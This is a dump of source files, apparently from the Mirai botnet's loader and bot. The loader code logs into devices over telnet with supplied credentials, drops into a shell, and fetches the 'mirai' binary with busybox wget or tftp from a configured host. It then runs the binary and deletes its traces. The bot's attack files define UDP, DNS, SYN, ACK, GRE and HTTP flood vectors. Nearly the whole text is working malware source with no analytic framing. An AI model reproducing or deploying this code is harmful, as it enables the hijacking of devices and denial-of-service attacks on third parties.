ATOMIC_GET(&srv->total_echoes), ATOMIC_GET(&srv->total_wgets), ATOMIC_GET(&srv->total_tftps));
#endif
fflush(stdout);
sleep(1);
}
}

640
loader/src/server.c Executable file
View File

@ -0,0 +1,640 @@
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/epoll.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <string.h>
#include <sched.h>
#include <errno.h>
#include "headers/includes.h"
#include "headers/server.h"
#include "headers/telnet_info.h"
#include "headers/connection.h"
#include "headers/binary.h"
#include "headers/util.h"
struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip)
{
struct server *srv = calloc(1, sizeof (struct server));
struct server_worker *workers = calloc(threads, sizeof (struct server_worker));
int i;
// Fill out the structure
srv->bind_addrs_len = addr_len;
srv->bind_addrs = addrs;
srv->max_open = max_open;
srv->wget_host_ip = wghip;
srv->wget_host_port = wghp;
srv->tftp_host_ip = thip;
srv->estab_conns = calloc(max_open * 2, sizeof (struct connection *));
srv->workers = calloc(threads, sizeof (struct server_worker));
srv->workers_len = threads;
if (srv->estab_conns == NULL)
{
printf("Failed to allocate establisted_connections array\n");
exit(0);
}
// Allocate locks internally
for (i = 0; i < max_open * 2; i++)
{
srv->estab_conns[i] = calloc(1, sizeof (struct connection));
if (srv->estab_conns[i] == NULL)
{
printf("Failed to allocate connection %d\n", i);
exit(-1);
}
pthread_mutex_init(&(srv->estab_conns[i]->lock), NULL);
}
// Create worker threads
for (i = 0; i < threads; i++)
{
struct server_worker *wrker = &srv->workers[i];
wrker->srv = srv;
wrker->thread_id = i;
if ((wrker->efd = epoll_create1(0)) == -1)
{
printf("Failed to initialize epoll context. Error code %d\n", errno);
free(srv->workers);
free(srv);
return NULL;
}
pthread_create(&wrker->thread, NULL, worker, wrker);
}
pthread_create(&srv->to_thrd, NULL, timeout_thread, srv);
return srv;
}
void server_destroy(struct server *srv)
{
if (srv == NULL)
return;
if (srv->bind_addrs != NULL)
free(srv->bind_addrs);
if (srv->workers != NULL)
free(srv->workers);
free(srv);
}
void server_queue_telnet(struct server *srv, struct telnet_info *info)
{
while (ATOMIC_GET(&srv->curr_open) >= srv->max_open)
{
sleep(1);
}
ATOMIC_INC(&srv->curr_open);
if (srv == NULL)
printf("srv == NULL 3\n");
server_telnet_probe(srv, info);
}
void server_telnet_probe(struct server *srv, struct telnet_info *info)
{
int fd = util_socket_and_bind(srv);
struct sockaddr_in addr;
struct connection *conn;
struct epoll_event event;
int ret;
struct server_worker *wrker = &srv->workers[ATOMIC_INC(&srv->curr_worker_child) % srv->workers_len];
if (fd == -1)
{
if (time(NULL) % 10 == 0)
{
printf("Failed to open and bind socket\n");
}
ATOMIC_DEC(&srv->curr_open);
return;
}
while (fd >= (srv->max_open * 2))
{
printf("fd too big\n");
conn->fd = fd;
#ifdef DEBUG
printf("Can't utilize socket because client buf is not large enough\n");
#endif
connection_close(conn);
return;
}
if (srv == NULL)
printf("srv == NULL 4\n");
conn = srv->estab_conns[fd];
memcpy(&conn->info, info, sizeof (struct telnet_info));
conn->srv = srv;
conn->fd = fd;
connection_open(conn);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = info->addr;
addr.sin_port = info->port;
ret = connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
if (ret == -1 && errno != EINPROGRESS)
{
printf("got connect error\n");
}
event.data.fd = fd;
event.events = EPOLLOUT;
epoll_ctl(wrker->efd, EPOLL_CTL_ADD, fd, &event);
}
static void bind_core(int core)
{
pthread_t tid = pthread_self();
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(core, &cpuset);
if (pthread_setaffinity_np(tid, sizeof (cpu_set_t), &cpuset) != 0)
printf("Failed to bind to core %d\n", core);
}
static void *worker(void *arg)
{
struct server_worker *wrker = (struct server_worker *)arg;
struct epoll_event events[128];
bind_core(wrker->thread_id);
while (TRUE)
{
int i, n = epoll_wait(wrker->efd, events, 127, -1);
if (n == -1)
perror("epoll_wait");
for (i = 0; i < n; i++)
handle_event(wrker, &events[i]);
}
}
static void handle_event(struct server_worker *wrker, struct epoll_event *ev)
{
struct connection *conn = wrker->srv->estab_conns[ev->data.fd];
if (conn->fd == -1)
{
conn->fd = ev->data.fd;
connection_close(conn);
return;
}
if (conn->fd != ev->data.fd)
{
printf("yo socket mismatch\n");
}
// Check if there was an error
if (ev->events & EPOLLERR || ev->events & EPOLLHUP || ev->events & EPOLLRDHUP)
{
#ifdef DEBUG
if (conn->open)
printf("[FD%d] Encountered an error and must shut down\n", ev->data.fd);
#endif
connection_close(conn);
return;
}
// Are we ready to write?
if (conn->state_telnet == TELNET_CONNECTING && ev->events & EPOLLOUT)
{
struct epoll_event event;
int so_error = 0;
socklen_t len = sizeof(so_error);
getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &so_error, &len);
if (so_error)
{
#ifdef DEBUG
printf("[FD%d] Connection refused\n", ev->data.fd);
#endif
connection_close(conn);
return;
}
#ifdef DEBUG
printf("[FD%d] Established connection\n", ev->data.fd);
#endif
event.data.fd = conn->fd;
event.events = EPOLLIN | EPOLLET;
epoll_ctl(wrker->efd, EPOLL_CTL_MOD, conn->fd, &event);
conn->state_telnet = TELNET_READ_IACS;
conn->timeout = 30;
}
if (!conn->open)
{
printf("socket not open! conn->fd: %d, fd: %d, events: %08x, state: %08x\n", conn->fd, ev->data.fd, ev->events, conn->state_telnet);
}
// Is there data to read?
if (ev->events & EPOLLIN && conn->open)
{
int ret;
conn->last_recv = time(NULL);
while (TRUE)
{
ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, sizeof (conn->rdbuf) - conn->rdbuf_pos, MSG_NOSIGNAL);
if (ret <= 0)
{
if (errno != EAGAIN && errno != EWOULDBLOCK)
{
#ifdef DEBUG
if (conn->open)
printf("[FD%d] Encountered error %d. Closing\n", ev->data.fd, errno);
#endif
connection_close(conn);
}
break;
}
#ifdef DEBUG
printf("TELIN: %.*s\n", ret, conn->rdbuf + conn->rdbuf_pos);
#endif
conn->rdbuf_pos += ret;
conn->last_recv = time(NULL);
if (conn->rdbuf_pos > 8196)
{
printf("oversized buffer pointer!\n");
abort();
}
while (TRUE)
{
int consumed;
switch (conn->state_telnet)
{
case TELNET_READ_IACS:
consumed = connection_consume_iacs(conn);
if (consumed)
conn->state_telnet = TELNET_USER_PROMPT;
break;
case TELNET_USER_PROMPT:
consumed = connection_consume_login_prompt(conn);
if (consumed)
{
util_sockprintf(conn->fd, "%s", conn->info.user);
strcpy(conn->output_buffer.data, "\r\n");
conn->output_buffer.deadline = time(NULL) + 1;
conn->state_telnet = TELNET_PASS_PROMPT;
}
break;
case TELNET_PASS_PROMPT:
consumed = connection_consume_password_prompt(conn);
if (consumed)
{
util_sockprintf(conn->fd, "%s", conn->info.pass);
strcpy(conn->output_buffer.data, "\r\n");
conn->output_buffer.deadline = time(NULL) + 1;
conn->state_telnet = TELNET_WAITPASS_PROMPT; // At the very least it will print SOMETHING
}
break;
case TELNET_WAITPASS_PROMPT:
if ((consumed = connection_consume_prompt(conn)) > 0)
{
util_sockprintf(conn->fd, "enable\r\n");
util_sockprintf(conn->fd, "shell\r\n");
util_sockprintf(conn->fd, "sh\r\n");
conn->state_telnet = TELNET_CHECK_LOGIN;
}
break;
case TELNET_CHECK_LOGIN:
if ((consumed = connection_consume_prompt(conn)) > 0)
{
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_VERIFY_LOGIN;
}
break;
case TELNET_VERIFY_LOGIN:
consumed = connection_consume_verify_login(conn);
if (consumed)
{
ATOMIC_INC(&wrker->srv->total_logins);
#ifdef DEBUG
printf("[FD%d] Succesfully logged in\n", ev->data.fd);
#endif
util_sockprintf(conn->fd, "/bin/busybox ps; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_PARSE_PS;
}
break;
case TELNET_PARSE_PS:
if ((consumed = connection_consume_psoutput(conn)) > 0)
{
util_sockprintf(conn->fd, "/bin/busybox cat /proc/mounts; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_PARSE_MOUNTS;
}
break;
case TELNET_PARSE_MOUNTS:
consumed = connection_consume_mounts(conn);
if (consumed)
conn->state_telnet = TELNET_READ_WRITEABLE;
break;
case TELNET_READ_WRITEABLE:
consumed = connection_consume_written_dirs(conn);
if (consumed)
{
#ifdef DEBUG
printf("[FD%d] Found writeable directory: %s/\n", ev->data.fd, conn->info.writedir);
#endif
util_sockprintf(conn->fd, "cd %s/\r\n", conn->info.writedir, conn->info.writedir);
util_sockprintf(conn->fd, "/bin/busybox cp /bin/echo " FN_BINARY "; >" FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_COPY_ECHO;
conn->timeout = 120;
}
break;
case TELNET_COPY_ECHO:
consumed = connection_consume_copy_op(conn);
if (consumed)
{
#ifdef DEBUG
printf("[FD%d] Finished copying /bin/echo to cwd\n", conn->fd);
#endif
if (!conn->info.has_arch)
{
conn->state_telnet = TELNET_DETECT_ARCH;
conn->timeout = 120;
// DO NOT COMBINE THESE
util_sockprintf(conn->fd, "/bin/busybox cat /bin/echo\r\n");
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
}
else
{
conn->state_telnet = TELNET_UPLOAD_METHODS;
conn->timeout = 15;
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
}
}
break;
case TELNET_DETECT_ARCH:
consumed = connection_consume_arch(conn);
if (consumed)
{
conn->timeout = 15;
if ((conn->bin = binary_get_by_arch(conn->info.arch)) == NULL)
{
#ifdef DEBUG
printf("[FD%d] Cannot determine architecture\n", conn->fd);
#endif
connection_close(conn);
}
else if (strcmp(conn->info.arch, "arm") == 0)
{
#ifdef DEBUG
printf("[FD%d] Determining ARM sub-type\n", conn->fd);
#endif
util_sockprintf(conn->fd, "cat /proc/cpuinfo; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_ARM_SUBTYPE;
}
else
{
#ifdef DEBUG
printf("[FD%d] Detected architecture: '%s'\n", ev->data.fd, conn->info.arch);
#endif
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_UPLOAD_METHODS;
}
}
break;
case TELNET_ARM_SUBTYPE:
if ((consumed = connection_consume_arm_subtype(conn)) > 0)
{
struct binary *bin = binary_get_by_arch(conn->info.arch);
if (bin == NULL)
{
#ifdef DEBUG
printf("[FD%d] We do not have an ARMv7 binary, so we will try using default ARM\n", conn->fd);
#endif
}
else
conn->bin = bin;
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_UPLOAD_METHODS;
}
break;
case TELNET_UPLOAD_METHODS:
consumed = connection_consume_upload_methods(conn);
if (consumed)
{
#ifdef DEBUG
printf("[FD%d] Upload method is ", conn->fd);
#endif
switch (conn->info.upload_method)
{
case UPLOAD_ECHO:
conn->state_telnet = TELNET_UPLOAD_ECHO;
conn->timeout = 30;
util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n");
#ifdef DEBUG
printf("echo\n");
#endif
break;
case UPLOAD_WGET:
conn->state_telnet = TELNET_UPLOAD_WGET;
conn->timeout = 120;
util_sockprintf(conn->fd, "/bin/busybox wget http://%s:%d/bins/%s.%s -O - > "FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n",
wrker->srv->wget_host_ip, wrker->srv->wget_host_port, "mirai", conn->info.arch);
#ifdef DEBUG
printf("wget\n");
#endif
break;
case UPLOAD_TFTP:
conn->state_telnet = TELNET_UPLOAD_TFTP;
conn->timeout = 120;
util_sockprintf(conn->fd, "/bin/busybox tftp -g -l %s -r %s.%s %s; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n",
FN_BINARY, "mirai", conn->info.arch, wrker->srv->tftp_host_ip);
#ifdef DEBUG
printf("tftp\n");
#endif
break;
}
}
break;
case TELNET_UPLOAD_ECHO:
consumed = connection_upload_echo(conn);
if (consumed)
{
conn->state_telnet = TELNET_RUN_BINARY;
conn->timeout = 30;
#ifdef DEBUG
printf("[FD%d] Finished echo loading!\n", conn->fd);
#endif
util_sockprintf(conn->fd, "./%s; ./%s %s.%s; " EXEC_QUERY "\r\n", FN_DROPPER, FN_BINARY, id_tag, conn->info.arch);
ATOMIC_INC(&wrker->srv->total_echoes);
}
break;
case TELNET_UPLOAD_WGET:
consumed = connection_upload_wget(conn);
if (consumed)
{
conn->state_telnet = TELNET_RUN_BINARY;
conn->timeout = 30;
#ifdef DEBUG
printf("[FD%d] Finished wget loading\n", conn->fd);
#endif
util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch);
ATOMIC_INC(&wrker->srv->total_wgets);
}
break;
case TELNET_UPLOAD_TFTP:
consumed = connection_upload_tftp(conn);
if (consumed > 0)
{
conn->state_telnet = TELNET_RUN_BINARY;
conn->timeout = 30;
#ifdef DEBUG
printf("[FD%d] Finished tftp loading\n", conn->fd);
#endif
util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch);
ATOMIC_INC(&wrker->srv->total_tftps);
}
else if (consumed < -1) // Did not have permission to TFTP
{
#ifdef DEBUG
printf("[FD%d] No permission to TFTP load, falling back to echo!\n", conn->fd);
#endif
consumed *= -1;
conn->state_telnet = TELNET_UPLOAD_ECHO;
conn->info.upload_method = UPLOAD_ECHO;
conn->timeout = 30;
util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n");
}
break;
case TELNET_RUN_BINARY:
if ((consumed = connection_verify_payload(conn)) > 0)
{
if (consumed >= 255)
{
conn->success = TRUE;
#ifdef DEBUG
printf("[FD%d] Succesfully ran payload\n", conn->fd);
#endif
consumed -= 255;
}
else
{
#ifdef DEBUG
printf("[FD%d] Failed to execute payload\n", conn->fd);
#endif
if (!conn->retry_bin && strncmp(conn->info.arch, "arm", 3) == 0)
{
conn->echo_load_pos = 0;
strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm"));
conn->bin = binary_get_by_arch(conn->info.arch);
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_UPLOAD_METHODS;
conn->retry_bin = TRUE;
break;
}
}
#ifndef DEBUG
util_sockprintf(conn->fd, "rm -rf " FN_DROPPER "; > " FN_BINARY "; " TOKEN_QUERY "\r\n");
#else
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
#endif
conn->state_telnet = TELNET_CLEANUP;
conn->timeout = 10;
}
break;
case TELNET_CLEANUP:
if ((consumed = connection_consume_cleanup(conn)) > 0)
{
int tfd = conn->fd;
connection_close(conn);
#ifdef DEBUG
printf("[FD%d] Cleaned up files\n", tfd);
#endif
}
default:
consumed = 0;
break;
}
if (consumed == 0) // We didn't consume any data
break;
else
{
if (consumed > conn->rdbuf_pos)
{
consumed = conn->rdbuf_pos;
//printf("consuming more then our position!\n");
//abort();
}
conn->rdbuf_pos -= consumed;
memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
conn->rdbuf[conn->rdbuf_pos] = 0;
}
if (conn->rdbuf_pos > 8196)
{
printf("oversized buffer! 2\n");
abort();
}
}
}
}
}
static void *timeout_thread(void *arg)
{
struct server *srv = (struct server *)arg;
int i, ct;
while (TRUE)
{
ct = time(NULL);
for (i = 0; i < (srv->max_open * 2); i++)
{
struct connection *conn = srv->estab_conns[i];
if (conn->open && conn->last_recv > 0 && ct - conn->last_recv > conn->timeout)
{
#ifdef DEBUG
printf("[FD%d] Timed out\n", conn->fd);
#endif
if (conn->state_telnet == TELNET_RUN_BINARY && !conn->ctrlc_retry && strncmp(conn->info.arch, "arm", 3) == 0)
{
conn->last_recv = time(NULL);
util_sockprintf(conn->fd, "\x03\x1Akill %%1\r\nrm -rf " FN_BINARY " " FN_DROPPER "\r\n");
conn->ctrlc_retry = TRUE;
conn->echo_load_pos = 0;
strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm"));
conn->bin = binary_get_by_arch(conn->info.arch);
util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n");
conn->state_telnet = TELNET_UPLOAD_METHODS;
conn->retry_bin = TRUE;
} else {
connection_close(conn);
}
} else if (conn->open && conn->output_buffer.deadline != 0 && time(NULL) > conn->output_buffer.deadline)
{
conn->output_buffer.deadline = 0;
util_sockprintf(conn->fd, conn->output_buffer.data);
}
}
sleep(1);
}
}

63
loader/src/telnet_info.c Executable file
View File

@ -0,0 +1,63 @@
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "headers/includes.h"
#include "headers/telnet_info.h"
struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info)
{
if (user != NULL)
strcpy(info->user, user);
if (pass != NULL)
strcpy(info->pass, pass);
if (arch != NULL)
strcpy(info->arch, arch);
info->addr = addr;
info->port = port;
info->has_auth = user != NULL || pass != NULL;
info->has_arch = arch != NULL;
return info;
}
struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out) // Format: ip:port user:pass arch
{
char *conn, *auth, *arch;
char *addr_str, *port_str, *user = NULL, *pass = NULL;
ipv4_t addr;
port_t port;
if ((conn = strtok(str, " ")) == NULL)
return NULL;
if ((auth = strtok(NULL, " ")) == NULL)
return NULL;
arch = strtok(NULL, " "); // We don't care if we don't know the arch
if ((addr_str = strtok(conn, ":")) == NULL)
return NULL;
if ((port_str = strtok(NULL, ":")) == NULL)
return NULL;
if (strlen(auth) == 1)
{
if (auth[0] == ':')
{
user = "";
pass = "";
}
else if (auth[0] != '?')
return NULL;
}
else
{
user = strtok(auth, ":");
pass = strtok(NULL, ":");
}
addr = inet_addr(addr_str);
port = htons(atoi(port_str));
return telnet_info_new(user, pass, arch, addr, port, out);
}

174
loader/src/util.c Executable file
View File

@ -0,0 +1,174 @@
#include <stdint.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdarg.h>
#include "headers/includes.h"
#include "headers/util.h"
#include "headers/server.h"
void hexDump (char *desc, void *addr, int len) {
int i;
unsigned char buff[17];
unsigned char *pc = (unsigned char*)addr;
// Output description if given.
if (desc != NULL)
printf ("%s:\n", desc);
if (len == 0) {
printf(" ZERO LENGTH\n");
return;
}
if (len < 0) {
printf(" NEGATIVE LENGTH: %i\n",len);
return;
}
// Process every byte in the data.
for (i = 0; i < len; i++) {
// Multiple of 16 means new line (with line offset).
if ((i % 16) == 0) {
// Just don't print ASCII for the zeroth line.
if (i != 0)
printf (" %s\n", buff);
// Output the offset.
printf (" %04x ", i);
}
// Now the hex code for the specific character.
printf (" %02x", pc[i]);
// And store a printable ASCII character for later.
if ((pc[i] < 0x20) || (pc[i] > 0x7e))
buff[i % 16] = '.';
else
buff[i % 16] = pc[i];
buff[(i % 16) + 1] = '\0';
}
// Pad out last line if not exactly 16 characters.
while ((i % 16) != 0) {
printf (" ");
i++;
}
// And print the final ASCII bit.
printf (" %s\n", buff);
}
int util_socket_and_bind(struct server *srv)
{
struct sockaddr_in bind_addr;
int i, fd, start_addr;
BOOL bound = FALSE;
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return -1;
bind_addr.sin_family = AF_INET;
bind_addr.sin_port = 0;
// Try to bind on the first available address
start_addr = rand() % srv->bind_addrs_len;
for (i = 0; i < srv->bind_addrs_len; i++)
{
bind_addr.sin_addr.s_addr = srv->bind_addrs[start_addr];
if (bind(fd, (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1)
{
if (++start_addr == srv->bind_addrs_len)
start_addr = 0;
}
else
{
bound = TRUE;
break;
}
}
if (!bound)
{
close(fd);
#ifdef DEBUG
printf("Failed to bind on any address\n");
#endif
return -1;
}
// Set the socket in nonblocking mode
if (fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK) == -1)
{
#ifdef DEBUG
printf("Failed to set socket in nonblocking mode. This will have SERIOUS performance implications\n");
#endif
}
return fd;
}
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len)
{
int i, matched = 0;
if (mem_len > buf_len)
return -1;
for (i = 0; i < buf_len; i++)
{
if (buf[i] == mem[matched])
{
if (++matched == mem_len)
return i + 1;
}
else
matched = 0;
}
return -1;
}
BOOL util_sockprintf(int fd, const char *fmt, ...)
{
char buffer[BUFFER_SIZE + 2];
va_list args;
int len;
va_start(args, fmt);
len = vsnprintf(buffer, BUFFER_SIZE, fmt, args);
va_end(args);
if (len > 0)
{
if (len > BUFFER_SIZE)
len = BUFFER_SIZE;
#ifdef DEBUG
hexDump("TELOUT", buffer, len);
#endif
if (send(fd, buffer, len, MSG_NOSIGNAL) != len)
return FALSE;
}
return TRUE;
}
char *util_trim(char *str)
{
char *end;
while(isspace(*str))
str++;
if(*str == 0)
return str;
end = str + strlen(str) - 1;
while(end > str && isspace(*end))
end--;
*(end+1) = 0;
return str;
}

250
mirai/bot/attack.c Executable file
View File

@ -0,0 +1,250 @@
#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include "includes.h"
#include "attack.h"
#include "rand.h"
#include "util.h"
#include "scanner.h"
uint8_t methods_len = 0;
struct attack_method **methods = NULL;
int attack_ongoing[ATTACK_CONCURRENT_MAX] = {0};
BOOL attack_init(void)
{
int i;
add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);
add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);
add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);
add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);
add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);
add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);
add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);
add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);
add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);
//add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);
add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);
return TRUE;
}
void attack_kill_all(void)
{
int i;
#ifdef DEBUG
printf("[attack] Killing all ongoing attacks\n");
#endif
for (i = 0; i < ATTACK_CONCURRENT_MAX; i++)
{
if (attack_ongoing[i] != 0)
kill(attack_ongoing[i], 9);
attack_ongoing[i] = 0;
}
#ifdef MIRAI_TELNET
scanner_init();
#endif
}
void attack_parse(char *buf, int len)
{
int i;
uint32_t duration;
ATTACK_VECTOR vector;
uint8_t targs_len, opts_len;
struct attack_target *targs = NULL;
struct attack_option *opts = NULL;
// Read in attack duration uint32_t
if (len < sizeof (uint32_t))
goto cleanup;
duration = ntohl(*((uint32_t *)buf));
buf += sizeof (uint32_t);
len -= sizeof (uint32_t);
// Read in attack ID uint8_t
if (len == 0)
goto cleanup;
vector = (ATTACK_VECTOR)*buf++;
len -= sizeof (uint8_t);
// Read in target count uint8_t
if (len == 0)
goto cleanup;
targs_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);
if (targs_len == 0)
goto cleanup;
// Read in all targs
if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len))
goto cleanup;
targs = calloc(targs_len, sizeof (struct attack_target));
for (i = 0; i < targs_len; i++)
{
targs[i].addr = *((ipv4_t *)buf);
buf += sizeof (ipv4_t);
targs[i].netmask = (uint8_t)*buf++;
len -= (sizeof (ipv4_t) + sizeof (uint8_t));
targs[i].sock_addr.sin_family = AF_INET;
targs[i].sock_addr.sin_addr.s_addr = targs[i].addr;
}
// Read in flag count uint8_t
if (len < sizeof (uint8_t))
goto cleanup;
opts_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);
// Read in all opts
if (opts_len > 0)
{
opts = calloc(opts_len, sizeof (struct attack_option));
for (i = 0; i < opts_len; i++)
{
uint8_t val_len;
// Read in key uint8
if (len < sizeof (uint8_t))
goto cleanup;
opts[i].key = (uint8_t)*buf++;
len -= sizeof (uint8_t);
// Read in data length uint8
if (len < sizeof (uint8_t))
goto cleanup;
val_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);
if (len < val_len)
goto cleanup;
opts[i].val = calloc(val_len + 1, sizeof (char));
util_memcpy(opts[i].val, buf, val_len);
buf += val_len;
len -= val_len;
}
}
errno = 0;
attack_start(duration, vector, targs_len, targs, opts_len, opts);
// Cleanup
cleanup:
if (targs != NULL)
free(targs);
if (opts != NULL)
free_opts(opts, opts_len);
}
void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
int pid1, pid2;
pid1 = fork();
if (pid1 == -1 || pid1 > 0)
return;
pid2 = fork();
if (pid2 == -1)
exit(0);
else if (pid2 == 0)
{
sleep(duration);
kill(getppid(), 9);
exit(0);
}
else
{
int i;
for (i = 0; i < methods_len; i++)
{
if (methods[i]->vector == vector)
{
#ifdef DEBUG
printf("[attack] Starting attack...\n");
#endif
methods[i]->func(targs_len, targs, opts_len, opts);
break;
}
}
//just bail if the function returns
exit(0);
}
}
char *attack_get_opt_str(uint8_t opts_len, struct attack_option *opts, uint8_t opt, char *def)
{
int i;
for (i = 0; i < opts_len; i++)
{
if (opts[i].key == opt)
return opts[i].val;
}
return def;
}
int attack_get_opt_int(uint8_t opts_len, struct attack_option *opts, uint8_t opt, int def)
{
char *val = attack_get_opt_str(opts_len, opts, opt, NULL);
if (val == NULL)
return def;
else
return util_atoi(val, 10);
}
uint32_t attack_get_opt_ip(uint8_t opts_len, struct attack_option *opts, uint8_t opt, uint32_t def)
{
char *val = attack_get_opt_str(opts_len, opts, opt, NULL);
if (val == NULL)
return def;
else
return inet_addr(val);
}
static void add_attack(ATTACK_VECTOR vector, ATTACK_FUNC func)
{
struct attack_method *method = calloc(1, sizeof (struct attack_method));
method->vector = vector;
method->func = func;
methods = realloc(methods, (methods_len + 1) * sizeof (struct attack_method *));
methods[methods_len++] = method;
}
static void free_opts(struct attack_option *opts, int len)
{
int i;
if (opts == NULL)
return;
for (i = 0; i < len; i++)
{
if (opts[i].val != NULL)
free(opts[i].val);
}
free(opts);
}

170
mirai/bot/attack.h Executable file
View File

@ -0,0 +1,170 @@
#pragma once
#include <time.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <linux/tcp.h>
#include "includes.h"
#include "protocol.h"
#define ATTACK_CONCURRENT_MAX 8
#ifdef DEBUG
#define HTTP_CONNECTION_MAX 1000
#else
#define HTTP_CONNECTION_MAX 256
#endif
struct attack_target {
struct sockaddr_in sock_addr;
ipv4_t addr;
uint8_t netmask;
};
struct attack_option {
char *val;
uint8_t key;
};
typedef void (*ATTACK_FUNC) (uint8_t, struct attack_target *, uint8_t, struct attack_option *);
typedef uint8_t ATTACK_VECTOR;
#define ATK_VEC_UDP 0 /* Straight up UDP flood */
#define ATK_VEC_VSE 1 /* Valve Source Engine query flood */
#define ATK_VEC_DNS 2 /* DNS water torture */
#define ATK_VEC_SYN 3 /* SYN flood with options */
#define ATK_VEC_ACK 4 /* ACK flood */
#define ATK_VEC_STOMP 5 /* ACK flood to bypass mitigation devices */
#define ATK_VEC_GREIP 6 /* GRE IP flood */
#define ATK_VEC_GREETH 7 /* GRE Ethernet flood */
//#define ATK_VEC_PROXY 8 /* Proxy knockback connection */
#define ATK_VEC_UDP_PLAIN 9 /* Plain UDP flood optimized for speed */
#define ATK_VEC_HTTP 10 /* HTTP layer 7 flood */
#define ATK_OPT_PAYLOAD_SIZE 0 // What should the size of the packet data be?
#define ATK_OPT_PAYLOAD_RAND 1 // Should we randomize the packet data contents?
#define ATK_OPT_IP_TOS 2 // tos field in IP header
#define ATK_OPT_IP_IDENT 3 // ident field in IP header
#define ATK_OPT_IP_TTL 4 // ttl field in IP header
#define ATK_OPT_IP_DF 5 // Dont-Fragment bit set
#define ATK_OPT_SPORT 6 // Should we force a source port? (0 = random)
#define ATK_OPT_DPORT 7 // Should we force a dest port? (0 = random)
#define ATK_OPT_DOMAIN 8 // Domain name for DNS attack
#define ATK_OPT_DNS_HDR_ID 9 // Domain name header ID
//#define ATK_OPT_TCPCC 10 // TCP congestion control
#define ATK_OPT_URG 11 // TCP URG header flag
#define ATK_OPT_ACK 12 // TCP ACK header flag
#define ATK_OPT_PSH 13 // TCP PSH header flag
#define ATK_OPT_RST 14 // TCP RST header flag
#define ATK_OPT_SYN 15 // TCP SYN header flag
#define ATK_OPT_FIN 16 // TCP FIN header flag
#define ATK_OPT_SEQRND 17 // Should we force the sequence number? (TCP only)
#define ATK_OPT_ACKRND 18 // Should we force the ack number? (TCP only)
#define ATK_OPT_GRE_CONSTIP 19 // Should the encapsulated destination address be the same as the target?
#define ATK_OPT_METHOD 20 // Method for HTTP flood
